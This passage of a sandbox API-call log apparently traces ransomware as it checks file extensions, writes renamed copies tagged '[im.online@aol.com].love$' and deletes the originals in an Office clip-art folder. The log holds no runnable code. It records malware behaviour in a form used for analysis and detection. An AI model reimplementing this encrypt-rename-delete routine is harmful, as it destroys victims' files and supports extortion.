lpString2=".WMF") returned 1 [0253.065] lstrlenW (lpString=".rar") returned 4 [0253.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.065] lstrlenW (lpString=".bz2") returned 4 [0253.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.065] lstrlenW (lpString=".7z") returned 3 [0253.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.065] lstrlenW (lpString=".dbf") returned 4 [0253.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.066] lstrlenW (lpString=".1cd") returned 4 [0253.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.209] lstrlenW (lpString=".jpg") returned 4 [0253.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.209] lstrlenW (lpString=".doc") returned 4 [0253.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.209] lstrlenW (lpString=".docx") returned 5 [0253.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.209] lstrlenW (lpString=".pdf") returned 4 [0253.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.209] lstrlenW (lpString=".xls") returned 4 [0253.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.209] lstrlenW (lpString=".xlsx") returned 5 [0253.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.209] lstrlenW (lpString=".ppt") returned 4 [0253.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.209] lstrlenW (lpString=".zip") returned 4 [0253.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.210] lstrlenW (lpString=".rar") returned 4 [0253.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.210] lstrlenW (lpString=".bz2") returned 4 [0253.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.210] lstrlenW (lpString=".7z") returned 3 [0253.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.210] lstrlenW (lpString=".dbf") returned 4 [0253.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.210] lstrlenW (lpString=".1cd") returned 4 [0253.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.210] lstrlenW (lpString=".jpg") returned 4 [0253.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.210] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0253.210] lstrlenW (lpString="FLAP.WMF") returned 8 [0253.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0253.727] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2070) returned 1 [0253.728] CloseHandle (hObject=0x408) returned 1 [0253.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0253.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0254.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0254.612] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.612] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0254.764] GetLastError () returned 0x0 [0254.764] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x816, lpOverlapped=0x0) returned 1 [0254.783] WriteFile (in: hFile=0x450, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x820, lpOverlapped=0x0) returned 1 [0254.785] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0254.785] WriteFile (in: hFile=0x450, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xe4, lpOverlapped=0x0) returned 1 [0254.785] SetEndOfFile (hFile=0x450) returned 1 [0254.785] CloseHandle (hObject=0x450) returned 1 [0254.785] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.785] SetEndOfFile (hFile=0x3b4) returned 1 [0254.921] CloseHandle (hObject=0x3b4) returned 1 [0254.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0254.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0254.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.927] lstrlenW (lpString=".doc") returned 4 [0254.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.927] lstrlenW (lpString=".docx") returned 5 [0254.928] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0254.928] lstrlenW (lpString=".pdf") returned 4 [0254.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.928] lstrlenW (lpString=".xls") returned 4 [0254.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.928] lstrlenW (lpString=".xlsx") returned 5 [0254.928] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0254.928] lstrlenW (lpString=".ppt") returned 4 [0254.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.928] lstrlenW (lpString=".zip") returned 4 [0254.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.928] lstrlenW (lpString=".rar") returned 4 [0254.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.928] lstrlenW (lpString=".bz2") returned 4 [0254.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.928] lstrlenW (lpString=".7z") returned 3 [0254.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.928] lstrlenW (lpString=".dbf") returned 4 [0254.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.928] lstrlenW (lpString=".1cd") returned 4 [0254.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.928] lstrlenW (lpString=".jpg") returned 4 [0254.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.929] lstrlenW (lpString=".doc") returned 4 [0254.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.929] lstrlenW (lpString=".docx") returned 5 [0254.929] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0254.929] lstrlenW (lpString=".pdf") returned 4 [0254.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.929] lstrlenW (lpString=".xls") returned 4 [0254.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.929] lstrlenW (lpString=".xlsx") returned 5 [0254.929] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0254.929] lstrlenW (lpString=".ppt") returned 4 [0254.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.929] lstrlenW (lpString=".zip") returned 4 [0254.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.929] lstrlenW (lpString=".rar") returned 4 [0254.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.934] lstrlenW (lpString=".bz2") returned 4 [0254.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.935] lstrlenW (lpString=".7z") returned 3 [0254.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.935] lstrlenW (lpString=".dbf") returned 4 [0254.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.949] lstrlenW (lpString=".1cd") returned 4 [0254.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0254.957] lstrlenW (lpString=".jpg") returned 4 [0254.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.957] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0254.957] lstrlenW (lpString="HH00235_.WMF") returned 12 [0254.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0254.959] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1026) returned 1 [0254.959] CloseHandle (hObject=0x3b4) returned 1 [0254.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0254.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0254.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0254.960] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.960] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0254.961] GetLastError () returned 0x0 [0254.961] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x402, lpOverlapped=0x0) returned 1 [0254.964] WriteFile (in: hFile=0x450, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x410, lpOverlapped=0x0) returned 1 [0254.965] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0254.965] WriteFile (in: hFile=0x450, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0254.965] SetEndOfFile (hFile=0x450) returned 1 [0254.965] CloseHandle (hObject=0x450) returned 1 [0254.966] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.966] SetEndOfFile (hFile=0x3b4) returned 1 [0254.969] CloseHandle (hObject=0x3b4) returned 1 [0254.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0254.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0254.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.971] lstrlenW (lpString=".doc") returned 4 [0254.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.971] lstrlenW (lpString=".docx") returned 5 [0254.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.971] lstrlenW (lpString=".pdf") returned 4 [0254.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.971] lstrlenW (lpString=".xls") returned 4 [0254.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.971] lstrlenW (lpString=".xlsx") returned 5 [0254.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.971] lstrlenW (lpString=".ppt") returned 4 [0254.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.972] lstrlenW (lpString=".zip") returned 4 [0254.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.972] lstrlenW (lpString=".rar") returned 4 [0254.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.972] lstrlenW (lpString=".bz2") returned 4 [0254.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.972] lstrlenW (lpString=".7z") returned 3 [0254.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.972] lstrlenW (lpString=".dbf") returned 4 [0254.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.973] lstrlenW (lpString=".1cd") returned 4 [0254.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.973] lstrlenW (lpString=".jpg") returned 4 [0254.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.973] lstrlenW (lpString=".doc") returned 4 [0254.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.973] lstrlenW (lpString=".docx") returned 5 [0254.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.973] lstrlenW (lpString=".pdf") returned 4 [0254.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.974] lstrlenW (lpString=".xls") returned 4 [0254.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.974] lstrlenW (lpString=".xlsx") returned 5 [0254.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.974] lstrlenW (lpString=".ppt") returned 4 [0254.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.974] lstrlenW (lpString=".zip") returned 4 [0254.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.974] lstrlenW (lpString=".rar") returned 4 [0254.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.974] lstrlenW (lpString=".bz2") returned 4 [0254.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.974] lstrlenW (lpString=".7z") returned 3 [0254.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.974] lstrlenW (lpString=".dbf") returned 4 [0254.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.974] lstrlenW (lpString=".1cd") returned 4 [0254.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0254.974] lstrlenW (lpString=".jpg") returned 4 [0254.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.974] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0254.974] lstrlenW (lpString="HH00236_.WMF") returned 12 [0254.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0254.976] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3286) returned 1 [0254.976] CloseHandle (hObject=0x3b4) returned 1 [0254.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0254.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0254.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0254.976] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.976] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0254.978] GetLastError () returned 0x0 [0254.978] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xcd6, lpOverlapped=0x0) returned 1 [0254.979] WriteFile (in: hFile=0x450, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xce0, lpOverlapped=0x0) returned 1 [0254.980] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0254.980] WriteFile (in: hFile=0x450, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0254.981] SetEndOfFile (hFile=0x450) returned 1 [0254.981] CloseHandle (hObject=0x450) returned 1 [0254.981] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.981] SetEndOfFile (hFile=0x3b4) returned 1 [0255.246] CloseHandle (hObject=0x3b4) returned 1 [0255.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0255.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.601] lstrlenW (lpString=".doc") returned 4 [0255.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.601] lstrlenW (lpString=".docx") returned 5 [0255.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.601] lstrlenW (lpString=".pdf") returned 4 [0255.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString=".xls") returned 4 [0255.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.602] lstrlenW (lpString=".xlsx") returned 5 [0255.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.602] lstrlenW (lpString=".ppt") returned 4 [0255.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.602] lstrlenW (lpString=".zip") returned 4 [0255.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.602] lstrlenW (lpString=".rar") returned 4 [0255.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString=".bz2") returned 4 [0255.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.602] lstrlenW (lpString=".7z") returned 3 [0255.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0255.602] lstrlenW (lpString=".dbf") returned 4 [0255.602] lstrcmpiW (lpString1=".dbf", 